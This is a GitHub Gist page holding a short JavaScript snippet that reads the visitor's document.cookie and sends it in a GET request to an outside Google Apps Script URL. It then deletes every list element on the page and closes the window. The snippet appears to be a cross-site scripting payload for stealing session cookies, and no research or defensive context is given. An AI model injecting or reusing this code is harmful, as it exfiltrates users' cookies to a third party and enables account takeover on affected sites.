Last active
April 16, 2017 19:41
-
-
Save matthewpwatkins/22a4e6ff236c1932a58a79bef3496225 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log('Executing'); | |
var xmlhttp = new XMLHttpRequest(); | |
xmlhttp.open('GET', 'https://script.google.com/macros/s/AKfycbyC8BnFpfUEDM9FUuaQDwd5GhNWFTHKuMzwyEz19q1jC8XyMOY/exec?mycookies=' + document.cookie,true); | |
xmlhttp.send(); | |
console.log('Executed'); | |
var element = document.getElementsByTagName("ul"), index; | |
console.log(element.length); | |
for (index = element.length - 1; index >= 0; index--) { | |
element[index].parentNode.removeChild(element[index]); | |
} | |
window.close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment